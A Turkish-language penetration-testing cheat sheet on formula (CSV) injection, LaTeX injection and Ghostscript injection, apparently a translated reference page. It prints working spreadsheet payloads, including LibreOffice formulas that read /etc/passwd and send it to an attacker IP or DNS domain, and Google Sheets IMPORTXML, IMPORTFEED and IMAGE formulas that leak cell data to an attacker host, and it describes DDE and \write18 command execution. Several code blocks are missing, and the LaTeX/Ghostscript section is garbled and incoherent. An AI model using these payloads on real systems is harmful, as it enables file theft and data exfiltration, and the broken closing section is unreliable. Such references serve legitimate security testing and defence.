Formula/CSV/Doc/LaTeX/GhostScript Injection
Try Hard Güvenlik Grubu
Formül Enjeksiyonu
Bilgi
Eğer girdiniz CSV dosyaları içinde yansıtılıyorsa (veya muhtemelen Excel tarafından açılacak başka bir dosya), Excel formülleri ekleyebilirsiniz ki bu formüller dosya açıldığında veya kullanıcı Excel tablosu içindeki bir bağlantıya tıkladığında çalıştırılabilir olabilir.
Günümüzde Excel, kullanıcının kötü niyetli eylemlerden kaçınması için, Excel dışından bir şey yüklendiğinde kullanıcıya birkaç kez uyarı verecektir. Bu nedenle, son yükte Sosyal Mühendislik üzerinde özel çaba gösterilmelidir.
Hyperlink
Aşağıdaki örnek, nihai excel tablosundan içerik sızdırmak ve keyfi konumlara istekler yapmak için çok kullanışlıdır. Ancak, kullanıcının bağlantıya tıklaması ve uyarıları kabul etmesi gerekmektedir.
Aşağıdaki örnek https://payatu.com/csv-injection-basic-to-exploit adresinden alınmıştır.
Öğrenci Kayıt Yönetim sisteminde bir güvenlik açığı, bir CSV enjeksiyon saldırısı aracılığıyla sömürülmüştür. Saldırganın temel amacı, öğretmenlerin öğrenci detaylarını yönetmek için kullandığı sistemi tehlikeye atmak. Yöntem, saldırganın kötü amaçlı bir yükü uygulamaya enjekte etmesini içerir, özellikle öğrenci detayları için ayrılmış alanlara zararlı formüller girmek suretiyle. Saldırı şu şekilde gerçekleşir:
Kötü Amaçlı Yükün Enjeksiyonu:
Saldırgan bir öğrenci detay formu gönderir ancak elektronik tablolarda yaygın olarak kullanılan bir formülü içerir (örneğin,
=HYPERLINK("<zararlı_link>","Buraya tıklayın")
).Bu formül, bir bağlantı oluşturmak için tasarlanmıştır, ancak saldırgan tarafından kontrol edilen zararlı bir sunucuya işaret eder.
Tehdit Edilen Verilerin Dışa Aktarılması:
Kompromis farkında olmayan öğretmenler, verileri bir CSV dosyasına dışa aktarmak için uygulamanın işlevselliğini kullanır.
Açıldığında CSV dosyası hala kötü amaçlı yükü içerir. Bu yük, elektronik tabloda tıklanabilir bir bağlantı olarak görünür.
Saldırının Tetiklenmesi:
Bir öğretmen, bağlantıya öğrenci detaylarının meşru bir parçası olduğuna inanarak tıklar.
Tıkladığında, hassas veriler (potansiyel olarak elektronik tablodan veya öğretmenin bilgisayarından detaylar içerebilir) saldırganın sunucusuna iletilir.
Verilerin Kaydedilmesi:
Saldırganın sunucusu, öğretmenin bilgisayarından gönderilen hassas verileri alır ve kaydeder.
Saldırgan daha sonra bu verileri çeşitli kötü amaçlı amaçlar için kullanabilir, öğrencilerin ve kurumun gizliliğini ve güvenliğini daha da tehlikeye atarak.
RCE
Daha fazla ayrıntı için orijinal yazıya bakın.
Belirli yapılandırmalarda veya eski Excel sürümlerinde, Dinamik Veri Değişimi (DDE) adı verilen bir özellik, keyfi komutları yürütmek için sömürülebilir. Bunun için aşağıdaki ayarların etkinleştirilmiş olması gerekir:
Dosya → Seçenekler → Güven Merkezi → Güven Merkezi Ayarları → Dış İçerik'e gidin ve Dinamik Veri Değişimi Sunucusu Başlat'ı etkinleştirin.
Kötü amaçlı yükü içeren bir elektronik tablo açıldığında (ve kullanıcı uyarıları kabul ederse), yük yürütülür. Örneğin, hesap makinesi uygulamasını başlatmak için yük şu şekilde olacaktır:
Ek komutlar da yürütülebilir, örneğin PowerShell kullanarak bir dosyanın indirilip yürütülmesi:
LibreOffice Calc'ta Yerel Dosya Dahil Etme (LFI)
LibreOffice Calc, yerel dosyaları okumak ve veri dışa aktarmak için kullanılabilir. İşte bazı yöntemler:
Yerel
/etc/passwd
dosyasından ilk satırı okuma:='file:///etc/passwd'#$passwd.A1
Okunan verileri saldırganın kontrolündeki sunucuya dışa aktarma:
=WEBSERVICE(CONCATENATE("http://<saldırgan IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
Birden fazla satırı dışa aktarma:
=WEBSERVICE(CONCATENATE("http://<saldırgan IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
DNS dışa aktarma (okunan verileri saldırganın kontrolündeki DNS sunucusuna DNS sorguları olarak gönderme):
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<saldırgan alan adı>"))
Out-of-Band (OOB) Veri Dışa Aktarma için Google Sheets
Google Sheets, OOB veri dışa aktarma için sömürülebilecek fonksiyonlar sunar:
CONCATENATE: Dizeleri birleştirir -
=CONCATENATE(A2:E2)
IMPORTXML: Yapılandırılmış veri türlerinden veri alır -
=IMPORTXML(CONCAT("http://<saldırgan IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
IMPORTFEED: RSS veya ATOM beslemelerini içe aktarır -
=IMPORTFEED(CONCAT("http://<saldırgan IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
IMPORTHTML: HTML tablolarından veya listelerinden veri alır -
=IMPORTHTML (CONCAT("http://<saldırgan IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
IMPORTRANGE: Başka bir elektronik tablodan hücre aralığını içe aktarır -
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
IMAGE: Bir hücreye bir resim ekler -
=IMAGE("https://<saldırgan IP:Port>/images/srpr/logo3w.png")
LaTeX Enjeksiyonu
Genellikle LaTeX kodunu PDF'ye dönüştüren internet sunucuları genellikle pdflatex
kullanır.
Bu program, komut yürütmesini (devre dışı bırakma) / izin verme için 3 ana özelliği kullanır:
--no-shell-escape
:\write18{komut}
yapısını devre dışı bırakır, texmf.cnf dosyasında etkinleştirilmiş olsa bile.--shell-restricted
:--shell-escape
ile aynıdır, ancak/usr/share/texmf/web2c/texmf.cnf
dosyasında belirli bir 'güvenli' set komutlarla sınırlıdır (Ubuntu 16.04'te liste burada bulunur).--shell-escape
:\write18{komut}
yapısını etkinleştirir. Komut herhangi bir kabuk komutu olabilir. Bu yapı genellikle güvenlik nedenleriyle yasaklanmıştır.
Ancak, komutları yürütmek için başka yollar da vardır, bu nedenle Uzak Kod Yürütme'yi önlemek için --shell-restricted
kullanmak çok önemlidir.
Dosya Okuma
Enjeksiyonu ayarlamak için sargılar olarak [ veya $'ı kullanmanız gerekebilir.
Tek satırlı dosyayı okuyun
Birden fazla satırlı dosya okuma
Dosya yaz
Komut yürütme
Komutun girdisi stdin'e yönlendirilecek, bunu almak için geçici bir dosya kullanın.
LaTeX Enjeksiyonu
CSV dosyasını LaTeX belgesine dönüştürmek için aşağıdaki komutu kullanabilirsiniz:
Ghostscript Enjeksiyonu
Son olarak, oluşturduğunuz LaTeX belgesini derlemek için aşağıdaki komutu kullanın:
Bu adımları takip ederek, Ghostscript enjeksiyonu saldırısını gerçekleştirebilirsiniz.
Cross Site Scripting
@EdOverflow'den
Ghostscript Enjeksiyonu
Kontrol Edin https://blog.redteam-pentesting.de/2023/ghostscript-overview/
Referanslar
Try Hard Security Group
Last updated